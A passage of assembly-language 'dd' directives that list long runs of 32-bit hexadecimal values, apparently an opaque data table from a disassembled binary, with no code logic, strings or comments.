		dd 7700D831h, 3069C0D6h, 386A35h, 6D1DEE24h, 925C2D08h
		dd 1409805Ah, 8B0882A4h, 88A8D175h, 0C61474D2h,	13CBB28Ch
		dd 681989A8h, 92EF260Ah, 0D401B5CFh, 7C495CC4h,	0A9D54080h
		dd 0E2E85E2Ch, 488889B7h, 48275014h, 4AC77CC4h,	0D8C4E926h
		dd 947E7100h, 0CCC42A23h, 0B8FB12E1h, 0E8AC2064h, 50CEA655h
		dd 93BE7D71h, 4806274Ah, 7619224Eh, 0C994B686h,	1F9E3840h
		dd 0CD8C0600h, 0E6745F45h, 3F0CBC1Dh, 84118981h, 934E985Ch
		dd 0A8A47BC0h, 0F865137Ch, 0D5EC8850h, 8724014Ch, 19807718h
		dd 1734B476h, 0CC0F70h,	0AEA6086h, 532E8B72h, 89150C01h
		dd 79973F84h, 60962E2Ch, 0C8A8DF1Ah, 0B4508530h, 36E56194h
		dd 805C78B1h, 0AF0272EDh, 0D9B80017h, 7E53BDCDh, 37767A56h
		dd 50E6FCFDh, 9A329C90h, 0C0DF39ADh, 12B164C4h,	0B2911FC9h
		dd 54CF0B60h, 0BC70606Dh, 0D38D0099h, 0FE1E07Bh, 0A71F0DB1h
		dd 48F0DCE5h, 21B8FD0h,	0CC34656Fh, 7600D1A3h, 926133DDh
		dd 405CB028h, 60A010E4h, 97416Ch, 6DF2E90Ch, 8F5D0983h
		dd 6783CCC3h, 6CD8AE8Ah, 0E114206Fh, 90DBA5h, 32FDC8E0h
		dd 0F8347445h, 184760DDh, 60E5CF78h, 5C3C2609h,	15876CDh
		dd 71ACC98Ch, 84B07813h, 5716C619h, 0B72001CCh,	81EC97C9h
		dd 0DC356618h, 93C4E2F4h, 0A6A49CA8h, 0BCA0A758h, 2F38E3A7h
		dd 38F3BE7Eh, 44C14AD3h, 9C525191h, 157C59B0h, 314ADCE5h
		dd 96816D14h, 9081EF60h, 1D00BF84h, 0E6107F06h,	0EC59E4A0h
		dd 0A0112218h, 18B9AD44h, 30D720BBh, 0D610A1Ah,	214BE1A1h
		dd 0A12FC00Eh, 25F27B01h, 511190h, 3ABF9C4Fh, 26357A7Dh
		dd 4094E5E1h, 9482B0D4h, 6DAC9900h, 29D769ABh, 70884AFFh
		dd 26386BE0h, 0D1E0E660h, 79FDF974h, 0C7BD1339h, 401077D4h
		dd 5E55037Ch, 7A040A00h, 0AA5D08F1h, 1738BAAFh,	0C0FCE2EDh
		dd 0C7E13ECCh, 0A7047C9Ch
		dd 0EB80191Ch, 48EF5C70h, 0DB01282Dh, 0B16085DEh, 0C5D87063h
		dd 0C8E3A831h, 8745239h, 3EB0C318h, 5F49AE6h, 68F230FCh
		dd 5C096E21h, 28EC2253h, 4AB0C0D2h, 88000B5h, 7656BEAAh
		dd 3B6224E8h, 40BB2659h, 0E8C36712h, 97A53C90h,	0CDCB2C0Fh
		dd 131B2480h, 0E2C456Ch, 112D20BFh, 0F0570280h,	0E828C960h
		dd 0D793000Ah, 0D5326BC3h, 1B04E5F4h, 5331E2C1h, 0D3EF4E1Dh
		dd 0C9540E92h, 0A0485277h, 65527888h, 0D8E730C4h, 4CFAFC7Ah
		dd 0CCD2C424h, 0BCB42580h, 10B02117h, 7D4604CEh, 0A06FC991h
		dd 470C25DCh, 0E8B058E8h, 0F01F0027h, 0A4697D67h, 8D39A1E6h
		dd 0F7528053h, 6FDBC1D2h, 2E3126FCh, 298E01BCh,	411FE4ECh
		dd 60CC2138h, 714D706Ch, 0A138206Ch, 16715C98h,	60C2B802h
		dd 2A0E6A40h, 44CC1076h, 0CBA8373h, 39257A20h, 814AFC78h
		dd 8337135Ch, 83C9BD40h, 7B2024E4h, 531B00D0h, 370391D7h
		dd 0F800FEFAh, 21B44622h, 0E6BA31Ch, 3DFC7E5Fh,	905C7C61h
		dd 1C232BDFh, 6BD7D1CDh, 0CC209425h, 3AC8A0C8h,	0E8DCA388h
		dd 18240Ah, 0CDC3BF22h,	0E42EB64h, 47016A7Bh, 7D41062Eh
		dd 0CC28967Ch, 2C78FA87h, 645FE5D0h, 66A93080h,	2F401C46h
		dd 183326EBh, 0D23F1817h, 0E70008ECh, 0E9E3273Ch, 7E335F54h
		dd 0E851C4DDh, 0D810B090h, 1094F348h, 2C020FF5h, 89E45CEDh
		dd 8AC2DCE8h, 7D106A78h, 360180FBh, 0E595DC15h,	0D04CFB63h
		dd 862D18A0h, 0F0FF8F50h, 74DF1D59h, 8803D3C3h,	94984D60h
		dd 0F720549Ah, 0FC255051h, 0EC8958B7h, 12490F10h, 0FC7584C6h
		dd 26D83880h, 0F43D4CF3h, 183E6105h, 7AD0C043h,	6319C9E0h
		dd 0B368539Bh, 0CC691C35h, 12F6AE84h, 0A3FE7C00h, 69CC6B9h
		dd 77D9895h, 10B856A5h,	0A827FCECh, 88254160h, 86AC053Ah
		dd 0C55CB35Ah, 28E1CAE8h, 30784438h, 72E02350h,	0C8305BB1h
		dd 0C720D878h, 0A0110007h, 6041987Ch, 0E42475E7h, 9068B0E1h
		dd 28D0A425h, 4778204h,	0E978E7h, 4FAF743Eh, 14E4209Bh
		dd 0C39082D0h, 22C8C0DBh, 0C0B1DF0Ch, 31DE7BAFh, 85952CE1h
		dd 5C81251Ch, 92E1DE8h,	0B85A7E8Ch, 40485D2Ch, 4E78903Dh
		dd 0D380FD32h, 0E58F28DCh, 683440E2h, 28F2A74Bh, 4C081AE4h
		dd 51278879h, 0E67A1C68h, 0A780B816h, 3490F413h, 958AC6C1h
		dd 29908C10h, 19E4EE14h, 7E748188h, 0C8FBD8ACh,	19DD227h
		dd 89984170h, 0E4D9CCC2h, 0C7CE1B6h, 435F8D00h,	2873B380h
		dd 0F0E22DF7h, 0AC322880h, 350F6AE7h, 0E0EC9861h, 0A4267194h
		dd 0CE210F8Ch, 0E8FC5E44h, 372905C4h, 0C0A750A5h, 9EBDF20h
		dd 99D85D1Ah, 97806190h, 0CF09C80Ch, 9DE3E2h, 8371AD84h
		dd 0EA782C8Ah, 0B20608FCh, 0B465A900h, 20E80C84h, 29710B21h
		dd 60241490h, 19001CE1h, 0A0D0CBDAh, 0B8390021h, 3643A91h
		dd 0A4B51CCh, 0CA8FBC20h, 0BDE00CBh, 0A7470D22h, 0E130C31Ah
		dd 0A84F497Ch, 454BA0Eh, 0E6744029h, 98A828h, 5550FA98h
		dd 0CD19C1h, 6D356B0Bh,	26EEE447h, 0E50B1398h, 0A2C31B8Ch
		dd 0A7AD5C48h, 0F37189E0h, 0EF490FDh, 480197CCh, 2847025Ch
		dd 0FFFC80F4h, 9416EE4Fh, 7D460B4h, 9F01415Dh, 917ADAACh
		dd 47221AFh, 29908175h,	0DBF12BCh, 3C5090CAh, 0EF980079h
		dd 0C118B76Ch, 9A35E2F3h, 6804204Bh, 4CB0AF7Fh,	3DAD027Dh
		dd 0C13C0B4Eh, 0F496E044h, 9050C625h, 9E0C0004h, 0DF9C33E2h
		dd 8C275CFDh, 58FC9207h, 0BE663010h, 0A55BB808h, 6F88F351h
		dd 0A2AB7044h, 5A005CB2h, 644F2F9Ah, 0E3512419h, 12743808h
		dd 1BE39E5h, 53E122ACh,	840474E0h, 0F34A94A0h, 828884BCh
		dd 1BE40BEEh, 61208418h, 0E1C999C2h, 716CE819h,	0D0A228E6h
		dd 60F32FF0h, 0A22724A5h, 0F25D0C7Ch, 85D867h, 7A561F21h
		dd 0EEA49DDAh, 5B8DAA00h, 71F45413h, 93FD26E8h,	0E4C980E4h
		dd 0FE6F39EDh, 70E04348h, 8C507E6Ah, 3209D004h,	0C61704A9h
		dd 905025ACh, 0ECE7CF2Ch, 0C8E03897h, 0BDE23FFEh, 93AD4861h
		dd 8641D2BFh, 0F7B5F0E4h, 5E5C8C4h, 409CDCCCh, 4600CDDEh
		dd 3F1C275Ch, 0A3E6065h, 1D48E134h, 2CDA1C84h, 1861392h
		dd 318019A8h, 30C6BB0Ch, 5B8C40F8h, 30E2E2DBh, 0AC80442Ah
		dd 36057888h, 4E6F7C16h, 0DE0004E3h, 0AF71298Fh, 8A34CDCAh
		dd 58B218A7h, 0C994CF82h, 876518D4h, 10D38A0h, 0CA2BB1B9h
		dd 40B4DA6Fh, 0E2508FDCh, 0C0901948h, 0D5CCA2Ah, 242C918Ah
		dd 478F012Ch, 8738E6h, 9E790A65h, 84B027D0h, 7F603EE8h
		dd 0CBE20EB8h, 21D0A839h, 0FA31F1EAh, 28AA4080h, 0D405649Dh
		dd 0BD5A5401h, 0F7EFCF5Eh, 0BAD18880h, 6B0A129Ch, 0CA24341Dh
		dd 6D910500h, 9555E15Ch, 80D8D0A9h, 52E5A30Ch, 1615886h
		dd 557827Ah, 7C9D3F7Bh,	4C0AC080h, 12747E35h, 129823D3h
		dd 7968015Fh, 3E65D4E6h, 940D0C00h, 1A7BB746h, 903458CCh
		dd 9320A8E6h, 1EB50067h, 92281A25h, 0E0484317h,	16D2007Bh
		dd 14538E49h, 0BE4A01CBh, 0D4E2D521h, 0ED2424BDh, 7D3C3839h
		dd 0B45D535Ah, 0A105EF07h, 26CA89F3h, 170D028h,	2F106BF6h
		dd 0D69C64C4h, 38D42153h, 10F932CFh, 808C51DCh,	230E4969h
		dd 8CB2ADCFh, 0C434854Dh, 0B8ECA48Dh, 302FD488h, 0C3F71A8h
		dd 0B601E672h, 4EF0DA90h, 0BE005F7Fh, 0DDC31C29h, 95942A3h
		dd 36F19183h, 58E2E402h, 0A4925EE0h, 8DA6ED01h,	0FC4A9DB0h
		dd 0FFFE0C20h, 5CEC8A00h, 0A45DFB28h, 0B1235EAh, 70A673D6h
		dd 122C345Ah, 0E450CCE0h, 829525B8h, 29697C0h, 10D8DF60h
		dd 0FE67D16h, 8B378042h, 30F8E6E7h, 0B751B258h,	0D65A0FC9h
		dd 0E0B860C3h, 1D1DA71h, 0AB7BE81Eh, 2BB1CF4Eh,	0AF25DC01h
		dd 1F2E3D7Ch, 96B0C24h,	697A2150h, 65D2E824h, 8BD48727h
		dd 1C24C4B9h, 0C47DEA65h, 0F2A7621Fh, 0E6F21A4h, 6B657C02h
		dd 82ACA86Dh, 44A32DE5h, 4FC91F04h, 0C1C1B588h,	52DFC2E8h
		dd 0CF100694h, 13A89450h, 0FD210166h, 0D0154B17h, 0B3ECBB8Dh
		dd 0E41DEE04h, 0F0EC89CCh, 1E988828h, 8C367971h, 0D1CAD275h
		dd 0DE45E07h, 51E07CB2h, 70E6E7h, 7A1EE19Ch, 0D53FE5E0h
		dd 0F0BB9B28h, 0F10B3372h, 71C9C86Ah, 1801608Ch, 2558EE72h
		dd 7FED0000h, 0F85C6973h, 0A7B8C0D5h, 0E5DDFC98h, 0E4C84C4Eh
		dd 0BF1F375Ch, 85AE6720h, 909C121Eh, 5E8B6C94h,	0E54254B6h
		dd 4485066h, 8ECCEC1Dh,	0BFCE8CFh, 71A8F9A4h, 4BE88990h
		dd 714A04C0h, 0C8203D5Ah, 0ECC7C19h, 26444B88h,	2F06CEE0h
		dd 0E850B0E1h, 2043A98h, 86F8578h, 25CF5098h, 9C64F242h
		dd 5B5C50A0h, 89D00460h, 17AFD1Ah, 0AF8E7902h, 0F46F9FC2h
		dd 76071E8h, 7D0B1A40h,	5496009Bh, 38DF110h, 0C9159C3Ch
		dd 4BE8D749h, 5CC8F4C4h, 640E5A01h, 0B06CF0F4h,	49FCFF4Dh
		dd 47821410h, 647503F4h, 0FE56CCFBh, 0A78D0120h, 299E8A94h
		dd 86FC419Ah, 3038CC76h, 0DDCDD904h, 9CE0D86Bh,	0FDA11FB4h
		dd 7EE60137h, 0D44F7CC6h, 5090C512h, 8B096024h,	7A8D7609h
		dd 0B71B3E84h, 0AECCE286h, 7A007093h, 0F7D6AAABh, 44EEE5h
		dd 28B1545Dh, 1884ACE6h, 207D9E07h, 0B0DDB2CCh,	8A2C4C80h
		dd 981FE5FBh, 7004835Ah, 8700C7FDh, 32C999A6h, 0A4437D5Fh
		dd 0C4AC7210h, 6BEF5080h, 8C483921h, 0E2241200h, 5AC496E1h
		dd 0ED15E403h, 8827AC4Eh, 1E490ECAh, 0C364E535h, 36977B80h
		dd 8FEBC094h, 16012403h, 46CE7109h, 35FDCF5Fh, 887B8093h
		dd 0FA162884h, 0F88334E2h
		dd 0F1CFE0F3h, 0D8C8CE5Bh, 7EB89A80h, 0E3021FE4h, 0A722C9F8h
		dd 715C61F5h, 84002462h, 264398DEh, 0AE0040D1h,	0A4C7376Eh
		dd 25C13E30h, 34478ACBh, 8C9BF284h, 40D6709Ch, 0FE09AFBDh
		dd 293E805Ch, 0CAF400ACh, 5A97Ch, 8E426D4Bh, 25D5ECBAh
		dd 0D9C1F401h, 620C5C74h, 0C9B23082h, 7CD43647h, 9DCF43h
		dd 0DE548AD9h, 0E1AC7520h, 3C802E4Ah, 0F0BC0E63h, 119C61AAh
		dd 0A42D47E6h, 40E9E898h, 0C177A334h, 5BE67428h, 0D2EC3D2Ch
		dd 8D1428CAh, 0DA127447h, 0A08894BCh, 9230CF2Ch, 8A21B0CAh
		dd 305E255Ah, 69C35883h, 87CDB83Dh, 0FD7B485Ch,	0A0FBD583h
		dd 7673450Bh, 0EAF05A5h, 80FA16B2h, 0FCC9BE00h,	0C9ECC648h
		dd 83E4E878h, 4C299511h, 0A55CF4C0h, 0BD989367h, 80C8C7C4h
		dd 69D098EFh, 0B0403087h, 0C109D1E0h, 71469D1Eh, 847CA4C4h
		dd 0B24480DDh, 60127860h, 0BD1E1F59h, 7A682125h, 19A05F97h
		dd 38035FF8h, 0DC49E5E0h, 48B23B54h, 835C0078h,	0A311C718h
		dd 174D789Ch, 0D4149733h, 13B4F884h, 4F34F85h, 0C91DBCD1h
		dd 0A8B86CC1h, 2CD44D0Ch, 0B0C625Bh, 6F817927h,	26A108Bh
		dd 0FE5C7158h, 651894D0h, 0A216778h, 0E4029FD0h, 0D0F620E4h
		dd 61C04883h, 0DB7AA13Fh, 138074C7h, 0F067F1EBh, 1E6F6648h
		dd 0E61F1109h, 0FC440028h, 0F3ECC34h, 494FC9C0h, 9729F441h
		dd 865D4C85h, 8B08851h,	820420h, 256557D2h, 93CD5C91h
		dd 2170049Eh, 0A0615CE6h, 32FBE182h, 41F110E8h,	6EA3890h
		dd 0A85F8E35h, 48840482h, 803B3D54h, 0DB00BA8Dh, 0D99717FBh
		dd 0E2B04E1h, 6D0D8E0Ch, 0B08036Ah, 8D94C25h, 0E4512942h
		dd 90FB5998h, 108844Fh,	0E550DBCCh, 801828EAh, 3B33D374h
		dd 5C7D0CB6h, 0C148929Ah, 802C9C48h, 0D694B30Eh, 89DB03DCh
		dd 2C5C0F11h, 1A4B8FCh,	66F8315Ah, 4079FB7Ch, 80C2BC13h
		dd 0F79569E4h, 0FDEBCF00h, 0C6E0431Ch, 0DC71F1h, 5E53CDB6h
		dd 1657C727h, 6414120Bh, 0C698A5EAh, 18E64052h,	0F2AA6513h
		dd 0B4C68494h, 7328498h, 0EA02848Ah, 0CEAF50F1h, 0D60C91A2h
		dd 408781E1h, 9C8C5978h, 0F37B4860h, 2900D36Eh,	0B9800A7Ah
		dd 16FCFF31h, 5014CC06h, 0F0954428h, 0E066C912h, 774FE88Ch
		dd 0D4D41493h, 2F404F12h, 68E13FC2h, 0F1480070h, 0C9F705F8h
		dd 5CA44EF9h, 9A110472h, 0C7FEEB36h, 85601FECh,	5D37E1F7h
		dd 25B858D7h, 2972B613h, 7743180h, 0D7CC474Ch, 0C910FCA4h
		dd 1654C356h, 18E2A663h, 8D8B6A82h, 71A0D4E0h, 53818509h
		dd 0DF446B01h, 5CDCC9F2h, 3D003C58h, 373E7A63h,	0E61275BEh
		dd 4C82F688h, 8A456C1h,	8B074A9Ah, 68D3D372h, 0CD5D9BAEh
		dd 0D428E8D0h, 61114A88h, 6E50FB0Ch, 5F5DAC21h,	69BC9040h
		dd 7E3A0003h, 1C9997ACh, 210081E0h, 863FDBCEh, 60715C43h
		dd 60AB584Fh, 0B8B0645Bh, 0D4C12826h, 4F125C87h, 0CC581B95h
		dd 1C903E8h, 5D907B72h,	6A67E85Ch, 0E3E7C000h, 0C2E07Ah
		dd 0D2FC61ECh, 84262E34h, 851A5C00h, 0B30830CBh, 4F11E35h
		dd 4F5087EAh, 0C74EC05Eh, 3400B69Bh, 0D7E193C1h, 9F85A9h
		dd 0B2B319DDh, 3FEE5C25h, 0FC2FD200h, 3E08AD04h, 8FB8079Eh
		dd 0C348D6D8h, 19E0821Bh, 0D3607C85h, 64B12238h, 147309Ch
		dd 4F83778h, 55AD50C1h,	6CFCD6C7h, 99C531DFh, 3146328h
		dd 1A18E11Ch, 3AB057DCh, 696FF478h, 0A15EDD07h,	87E93EDCh
		dd 118A0748h, 15C283h, 318D8710h, 0C7030A7Eh, 0E4BFFB03h
		dd 1112B9Fh, 14DF5479h,	80EF51DCh, 0DA16A210h, 60282FDDh
		dd 0C63AD8D5h, 0E0628D91h, 60A88F70h, 0DC9EBD20h, 0B1003E61h
		dd 71390EFCh, 10C3FF07h, 183E042Fh, 0F83D1940h,	0D70C3FE9h
		dd 18B67A87h, 0B8EB6EB3h, 478049B9h, 2FF2800Ch,	10C0FE73h
		dd 0DE91A63Ch, 661E0090h, 0F288347Fh, 0B500D868h, 0FE72B242h
		dd 0A24463h, 82C7C689h,	0C0CA34BCh, 1CDCFF26h, 871E7100h
		dd 0A0B4FE8Fh, 825924FCh, 0DC2F6340h, 0BC682960h, 114D8Dh
		dd 87C9896Fh, 0F60BD47Fh, 9C38000h, 0B8E24669h,	0FFE107EAh
		dd 0C06B0785h, 0AAFC4B1Fh, 0A04EDC18h, 489B6FC8h, 35383414h
		dd 85976A02h, 71037EB3h, 0DCE10CB1h, 0BB30145Eh, 9B5C8518h
		dd 14813D18h, 14763464h, 0B4180E74h, 0C080996Ah, 286CDC77h
		dd 0F88D38C0h, 0F8C432D6h, 0C9F30037h, 3FBBEDAh, 760F1A3Fh
		dd 38DD859Eh, 387348h, 34B8180Dh, 0EEFE55C3h, 9B646007h
		dd 506CD1DBh, 8A960111h, 3E8687CAh, 37F8F498h, 0E83EF275h
		dd 0CE2F899Bh, 777420D0h, 4B3B7B1h, 0EC04910Bh,	0AF6C9121h
		dd 387420A1h, 0F788F81Eh, 79879340h, 12A94629h,	50E037A4h
		dd 6100F8A0h, 0F7125DF4h, 42ED877h, 0B033E91Bh,	4B50003Fh
		dd 0C98C92EDh, 9E009C9Fh, 8D57B2B4h, 0EE43D6C0h, 931A1016h
		dd 7C3C006Fh, 0F7DCE2DFh, 0D660C0BFh, 0D87D1C11h, 0E4A09C0Dh
		dd 1FC840FAh, 938F2485h, 90E080C0h, 2F8452C7h, 0E02BFE30h
		dd 194994DCh, 10E44CB0h, 9942B19Ch, 61A003CDh, 0B1721884h
		dd 2F499081h, 41CA5130h, 5569DB9Ah, 0D442D489h,	39D48C34h
		dd 8E9F1BEAh, 67B0B809h, 560016D8h, 422375B7h, 4C7C52Dh
		dd 9D7DBFFAh, 34483B5h,	37DFC1F0h, 581DDA2Ch, 6B57E800h
		dd 0E2A0EDh, 7F46C54h, 0BC909F74h, 2F4FE8DFh, 0E72706C0h
		dd 0D348A010h, 0A3F11F08h, 86C814EFh, 643A127Ch, 1BD043DFh
		dd 0E80C76E8h, 0A07AB59Fh, 5CC65034h, 0F078643Eh, 965C44B0h
		dd 8BC570C0h, 0F616CA4Eh, 86A98898h, 6094741Ch,	42F00FABh
		dd 7DFC195h, 0DDDC1190h, 4C0E01F3h, 0EC853463h,	0A6DEE8ABh
		dd 0ED303D77h, 55E9407Ah, 4FCD396Dh, 8A26B9BAh,	99F8258h
		dd 608FB361h, 0B10F2A06h, 753DC543h, 8D75513h, 891D7CACh
		dd 2D9F1742h, 2C8CA59Ch, 0D63C1801h, 0E8418591h, 0D2868DB1h
		dd 200612DCh, 47EDEC07h, 0EED788ABh, 0DE15D080h, 0B72F1845h
		dd 0B94C40E1h, 0CDDA520Eh, 3E0143Fh, 9D2FB583h,	16200038h
		dd 0DF743AEFh, 26283CE8h, 4AF9A83Dh, 783A26B4h,	5585BC07h
		dd 0DA5425C9h, 6818148Dh, 3D3C329Ch, 2885BB28h,	4C1814B8h
		dd 9C121320h, 0C00CCE38h, 7BA77011h, 0B55E76FDh, 0B5EAED43h
		dd 0C80378C1h, 9C187F0Ah, 0B1506383h, 0F0600025h, 48B77073h
		dd 0B6027817h, 0D4C10A76h, 0C4A44042h, 93B80BFBh, 6C087007h
		dd 4A2F0608h, 81E180B5h, 0B2B18718h, 0C03E6FAAh, 0C7DF0C6Bh
		dd 0CE64B90Bh, 203416BEh, 0DF000840h, 9EB71BAEh, 984C64DDh
		dd 3ED740DCh, 25FA9898h, 0CDB970Ch, 50813056h, 7E6F9C67h
		dd 75902E3h, 0A6DCEE95h, 25B6E048h, 0E0449814h,	0A03480BCh
		dd 1461410Ch, 0D0C6B40Dh, 0DC110530h, 5C9AF5E2h, 0B41110A2h
		dd 0FA73D450h, 192469F6h, 9B01DE89h, 5824DCB9h,	18F3093h
		dd 3D213CD4h, 431C4179h, 153C40B0h, 1460779Fh, 85253B18h
		dd 288060A3h, 12B447EAh, 0E8F73729h, 0BB88843Fh, 7C815C3Ch
		dd 4A001CC1h, 3E40A62Fh, 2D761F49h, 0A8DA402Ah,	2E8B34BEh
		dd 9EC12F12h, 0DF12D807h, 0C4C88D12h, 55E20320h, 42601ECBh
		dd 64E33DBAh, 583CA924h, 6F0D1A16h, 0C04110B4h,	88E34E2h
		dd 0CBBC24CBh, 5C3B613Dh, 7C912D8h, 9451C12Eh, 968FA207h
		dd 6F454F57h, 0DC527494h, 6432E813h, 744488DAh,	7A180410h
		dd 0DDEA80F2h, 0BD81180Eh, 6BC62087h, 371E60h, 12BC89FAh
		dd 0DB3B2F5Fh, 9FEE84A0h, 38885133h, 22C87836h,	251AA8C3h
		dd 45B1753Dh, 50442804h
		dd 24B408DFh, 2E543A7Dh, 0AECE0214h, 0C4415791h, 0C43D0362h
		dd 58C6A0C1h, 0E8A19012h, 20101941h, 851EBD18h,	333EDE96h
		dd 9B1AF1EDh, 0AC27C578h, 836BB880h, 0B04F0BCFh, 809BD590h
		dd 0C3ED58C0h, 0E9859C09h, 14204E88h, 0F08F352Fh, 9391713h
		dd 688F26E8h, 480A4D86h, 10DEC431h, 4B00F5DCh, 0FA00769Fh
		dd 1E5CB1Dh, 1C0FDE3h, 5BD907D2h, 80059E2Fh, 7D1E4328h
		dd 3E468CD4h, 0EF0058BAh, 4BECC59Dh, 14662F7Bh,	84A82651h
		dd 3F9880DCh, 7D872ED4h, 3728CFF8h, 43037826h, 0CF19659Dh
		dd 563642C0h, 8D870046h, 0B0F1623Eh, 59542E9Fh,	0B9692890h
		dd 36743948h, 17EE1020h, 2C64674Ah, 2F05F4A0h, 89F79FB4h
		dd 0B4007894h, 3D223CECh, 3214A07Ch, 39C024C2h,	0A8171864h
		dd 0C082A3F2h, 6978588h, 3A9F1A91h, 981248FDh, 0AB00CEEAh
		dd 0CAAF5903h, 59C1A46h, 8D8850BFh, 67F30DF8h, 0F64C6110h
		dd 0AB0D4A1h, 0BDEC58ECh, 0BF000499h, 0B19C7C46h, 0B738C38Ah
		dd 0D1C42FD5h, 301AE4E0h, 0CFF7817Dh, 34E8C0E1h, 0A7017B5Ch
		dd 0B4A913BDh, 0F098112Ah, 9577053h, 437E4914h,	984693CCh
		dd 0FCC8B151h, 1304988Fh, 470D11DCh, 83BB8330h,	0B1112F95h
		dd 0B624E97Ch, 3D300820h, 4B843B01h, 0C186B4B0h, 0B877EE9Ch
		dd 8803F7F2h, 0E6DC5499h, 1920000Eh, 0A210AE0Bh, 8C501CECh
		dd 0DC182EDCh, 11209751h, 0D737006Ah, 9E78BE86h, 0B17C8287h
		dd 0B70BD971h, 83D08DA6h, 86C52FFCh, 0E0974D91h, 0B1DC9C82h
		dd 0CA3B8C45h, 659C5442h, 2868C829h, 13BF1264h,	0DC204E3Eh
		dd 0BA68C1D2h, 20233Dh,	0E7EFDB48h, 1D74797Dh, 6E87B683h
		dd 0F3A607ADh, 32D40037h, 0B5028F80h, 789AA777h, 0B26461F5h
		dd 5F88EC4h, 96A09857h,	458D25Fh, 75F02464h, 0EEB54400h
		dd 6B902648h, 0F1BFAF0h, 12F83217h, 74E2E580h, 90E89D33h
		dd 0F83E962Ch, 0F8C9D49Bh, 112CDE5h, 7D5770BDh,	409AB49Fh
		dd 76F4BC8h, 0C84A64BAh, 60264062h, 808570h, 4CB848B6h
		dd 59522EEh, 0C8F83F26h, 9A8F4782h, 983CC638h, 2C0A474h
		dd 85B9AFB7h, 78493314h, 0F49421DBh, 0C33FDA41h, 1290A09Fh
		dd 1227333Ch, 0D7F08C74h, 0B0BBDC30h, 548DB0BAh, 0ECEE8E3h
		dd 0A0938F91h, 4E40ACACh, 78AF552Eh, 81267410h,	8BA2406Ch
		dd 0B01756A0h, 181DD555h, 0B816747Eh, 63189F58h, 707B7B8h
		dd 0BE8B7BA9h, 0B0CDC485h, 0A4A06840h, 1C814539h, 0D906F032h
		dd 88DE3C04h, 24389924h, 2D72406Eh, 28BA5B5Dh, 0C193DCE8h
		dd 3EB56F18h, 2B508869h, 0A249024Eh, 58486388h,	8090931Eh
		dd 0D937160Ch, 58A25106h, 0D1002425h, 2F51DEE6h, 0E892A819h
		dd 4DFA7500h, 359CB7DBh, 0F99D303Dh, 23C7DC11h,	5C3F40DDh
		dd 0B1D11034h, 0B0084C51h, 0C057719Fh, 6F124B68h, 8329DCE7h
		dd 0B060E422h, 0C915662Fh, 37007810h, 0F0EBD206h, 0FFEE5603h
		dd 96BF2F6Ah, 6C8A1220h, 79740180h, 14AC6Eh, 0FF3F630Bh
		dd 80CF8080h, 0D0B70629h, 84E781F0h, 67DCED11h,	71B3B090h
		dd 564500F6h, 7EEBE80Ch, 11F462D7h, 0C2896E02h,	0A01C502Fh
		dd 0BFB9984h, 29D8F1CEh, 82B203B8h, 4DB3B402h, 0E8685B8h
		dd 0DF00F892h, 0C0ADA2EBh, 1F898A87h, 3020580h,	0D43550DEh
		dd 38E107D3h, 0BA0840F6h, 0C29073E9h, 0A6000CF4h, 33948B3Bh
		dd 0FAF128CBh, 0F89104h, 305B6081h, 0E051370Eh,	41FEBF7h
		dd 42C9657Bh, 50780F1Fh, 0BF2AF400h, 7402DF77h,	0B0BC8424h
		dd 16B30F3Fh, 4CD8207h,	35041F3h, 768EC004h, 0B93EAD46h
		dd 9DD3161Eh, 2C045456h, 4088F137h, 12D59887h, 0E2F2305h
		dd 6A21BD85h, 28A3F355h, 0F3DC8F34h, 7F8510C0h,	4D50BAB6h
		dd 103C1CC7h, 0B95C3DC0h, 531E1158h, 78812118h,	68B90462h
		dd 0B602741Fh, 4084EA2Fh, 94A6CF60h, 9760ACD0h,	573401DFh
		dd 343F489Fh, 0EF00BB98h, 0FC94EEE9h, 252F8209h, 0D413FB70h
		dd 48E99AC2h, 0D3342834h, 0D73FCC01h, 77185B5h,	0A8141894h
		dd 8A05039Fh, 21C03469h, 19030318h, 0F3DB8BCDh,	89F027B6h
		dd 2C00C40Bh, 0B41E4FDAh, 2F43501h, 8206EAC2h, 0ECED7CCh
		dd 0C932D946h, 8C25C71Fh, 8D7F3B0Dh, 188F07C5h,	0F91F8288h
		dd 14464181h, 0C3E396EAh, 0FB025B80h, 51387BF0h, 825C8001h
		dd 77462EF3h, 0F7D2F872h, 252D3400h, 57545D01h,	2A4DE3BFh
		dd 30EA56D4h, 0D122925Ch, 0F43D81E4h, 951F1591h, 632341Bh
		dd 0BE562100h, 0C724726h, 0F919EA4Ah, 0F60E8288h, 7D57305Ah
		dd 0A250EE81h, 0ECF1D417h, 607438C0h, 21CE0C0Ah, 27C6F89h
		dd 8A3C4FCh, 4D819600h,	0DFF8620Ah, 0C74C71EAh,	733CB784h
		dd 6814F0B2h, 685905Fh,	3E6D695Dh, 6882FE22h, 1C0F0A1Bh
		dd 678EB98Ch, 0EAE3158Ah, 200165F6h, 52A0C881h,	0EBC8FE89h
		dd 1D8C005Ah, 0E38A5325h, 555C382h, 88060898h, 0C15D46C0h
		dd 5204EBh, 0C058E28Ah,	4C432F37h, 3E8823Ah, 0EA44956Eh
		dd 1B59E5D9h, 69FD48Bh,	0D909CC9Dh, 21E5EC8h, 0A95E5FF4h
		dd 0E3C212F0h, 0F8533008h, 0ED845B38h, 3D623290h, 0A4FA6C2h
		dd 5359001Fh, 294063BBh, 7385D65h, 351AFB00h, 44EA2E4Ah
		dd 310E597Dh, 60C15AF0h, 51D8F704h, 3CA778B5h, 0DD0607E5h
		dd 2C6D40EAh, 9E886028h, 6DC356F2h, 42E48A54h, 20A85EAh
		dd 14DC60FCh, 1D888E03h, 0C1B81000h, 0CD419369h, 0E04C8A18h
		dd 11D05A74h, 3635581h,	5B8BEA27h, 1B580A3Bh, 830C79F1h
		dd 0F5244375h, 601E307Eh, 0D88850A5h, 0F836CBE4h, 881008D2h
		dd 5425EA96h, 0AE3DF1Ch, 5391565Eh, 69588190h, 0EC7F8051h
		dd 0EA194860h, 0C42D4E57h, 0A694940h, 0C4B1D411h, 23EEA0Ch
		dd 893CC3FBh, 995903Bh,	1BD83424h, 0D050632h, 5EF845Dh
		dd 3500D75h, 0D807142Ah, 8A563CF9h, 40C682E6h, 0B6BA520Ah
		dd 8759CD60h, 0E924072Ch, 17FFE1BCh, 7334635Eh,	48B401Fh
		dd 0E20767A4h, 167DC281h, 0FAEA83C0h, 7F147F87h, 421C625Ch
		dd 0D709F817h, 2D022086h, 0D96107F8h, 5AD58818h, 638BECCCh
		dd 285F320Ch, 68D22433h, 9B14C99Ch, 77FF1280h, 59669D1Ch
		dd 1FC6D37Bh, 4AD69Ah, 0C15BD821h, 0C83108E8h, 9854523Fh
